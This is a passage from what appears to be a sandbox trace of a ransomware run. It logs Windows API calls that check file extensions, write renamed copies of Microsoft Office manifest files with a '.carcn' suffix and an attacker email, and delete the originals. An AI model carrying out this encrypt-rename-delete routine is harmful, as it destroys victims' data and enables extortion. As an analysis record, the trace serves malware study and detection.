Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString=".1cd") returned 4 [0181.948] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0181.948] lstrlenW (lpString=".jpg") returned 4 [0181.948] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.949] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.949] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0181.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.949] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0181.949] CloseHandle (hObject=0x304) returned 1 [0181.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.954] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.954] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0181.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0181.955] GetLastError () returned 0x0 [0181.955] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.071] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.072] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0182.072] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.072] SetEndOfFile (hFile=0x380) returned 1 [0182.072] CloseHandle (hObject=0x380) returned 1 [0182.072] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.073] SetEndOfFile (hFile=0x304) returned 1 [0182.073] CloseHandle (hObject=0x304) returned 1 [0182.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0182.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.074] lstrlenW (lpString=".doc") returned 4 [0182.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString=".docx") returned 5 [0182.074] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.074] lstrlenW (lpString=".pdf") returned 4 [0182.074] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString=".xls") returned 4 [0182.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString=".xlsx") returned 5 [0182.074] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.074] lstrlenW (lpString=".ppt") returned 4 [0182.074] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.074] lstrlenW (lpString=".zip") returned 4 [0182.074] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.074] lstrlenW (lpString=".rar") returned 4 [0182.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString=".bz2") returned 4 [0182.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString=".7z") returned 3 [0182.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.074] lstrlenW (lpString=".dbf") returned 4 [0182.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.074] lstrlenW (lpString=".1cd") returned 4 [0182.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString=".jpg") returned 4 [0182.075] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString=".doc") returned 4 [0182.075] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString=".docx") returned 5 [0182.075] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.075] lstrlenW (lpString=".pdf") returned 4 [0182.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString=".xls") returned 4 [0182.075] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString=".xlsx") returned 5 [0182.075] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.075] lstrlenW (lpString=".ppt") returned 4 [0182.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString=".zip") returned 4 [0182.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.075] lstrlenW (lpString=".rar") returned 4 [0182.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString=".bz2") returned 4 [0182.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString=".7z") returned 3 [0182.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString=".dbf") returned 4 [0182.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.075] lstrlenW (lpString=".1cd") returned 4 [0182.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0182.076] lstrlenW (lpString=".jpg") returned 4 [0182.076] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.076] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.076] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0182.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.076] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1450) returned 1 [0182.076] CloseHandle (hObject=0x304) returned 1 [0182.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0182.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.076] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.076] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0182.077] GetLastError () returned 0x0 [0182.077] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x5aa, lpOverlapped=0x0) returned 1 [0182.142] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x5b0, lpOverlapped=0x0) returned 1 [0182.143] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0182.143] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.143] SetEndOfFile (hFile=0x380) returned 1 [0182.143] CloseHandle (hObject=0x380) returned 1 [0182.144] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.144] SetEndOfFile (hFile=0x304) returned 1 [0182.145] CloseHandle (hObject=0x304) returned 1 [0182.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString=".doc") returned 4 [0182.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString=".docx") returned 5 [0182.146] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.146] lstrlenW (lpString=".pdf") returned 4 [0182.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString=".xls") returned 4 [0182.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString=".xlsx") returned 5 [0182.146] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.146] lstrlenW (lpString=".ppt") returned 4 [0182.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString=".zip") returned 4 [0182.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.146] lstrlenW (lpString=".rar") returned 4 [0182.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString=".bz2") returned 4 [0182.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString=".7z") returned 3 [0182.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString=".dbf") returned 4 [0182.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString=".1cd") returned 4 [0182.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.146] lstrlenW (lpString=".jpg") returned 4 [0182.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.147] lstrlenW (lpString=".doc") returned 4 [0182.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".docx") returned 5 [0182.147] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.147] lstrlenW (lpString=".pdf") returned 4 [0182.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".xls") returned 4 [0182.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".xlsx") returned 5 [0182.147] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.147] lstrlenW (lpString=".ppt") returned 4 [0182.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.147] lstrlenW (lpString=".zip") returned 4 [0182.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.147] lstrlenW (lpString=".rar") returned 4 [0182.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".bz2") returned 4 [0182.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString=".7z") returned 3 [0182.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.147] lstrlenW (lpString=".dbf") returned 4 [0182.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.147] lstrlenW (lpString=".1cd") returned 4 [0182.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0182.148] lstrlenW (lpString=".jpg") returned 4 [0182.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.148] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.148] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0182.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.148] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0182.148] CloseHandle (hObject=0x304) returned 1 [0182.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0182.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0182.148] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.148] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0182.149] GetLastError () returned 0x0 [0182.149] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.361] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.362] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0182.362] WriteFile (in: hFile=0x380, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.362] SetEndOfFile (hFile=0x380) returned 1 [0182.362] CloseHandle (hObject=0x380) returned 1 [0182.363] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0182.363] SetEndOfFile (hFile=0x304) returned 1 [0182.364] CloseHandle (hObject=0x304) returned 1 [0182.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString=".doc") returned 4 [0182.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString=".docx") returned 5 [0182.365] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.365] lstrlenW (lpString=".pdf") returned 4 [0182.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString=".xls") returned 4 [0182.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString=".xlsx") returned 5 [0182.365] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.365] lstrlenW (lpString=".ppt") returned 4 [0182.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString=".zip") returned 4 [0182.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.365] lstrlenW (lpString=".rar") returned 4 [0182.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString=".bz2") returned 4 [0182.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString=".7z") returned 3 [0182.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString=".dbf") returned 4 [0182.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString=".1cd") returned 4 [0182.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.365] lstrlenW (lpString=".jpg") returned 4 [0182.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0182.366] lstrlenW (lpString=".doc") returned 4 [0182.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.366] lstrlenW (lpString=".docx") returned 5 [0182.366] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.366] lstrlenW (lpString=".pdf") returned 4 [0182.366] lstrcmpiW 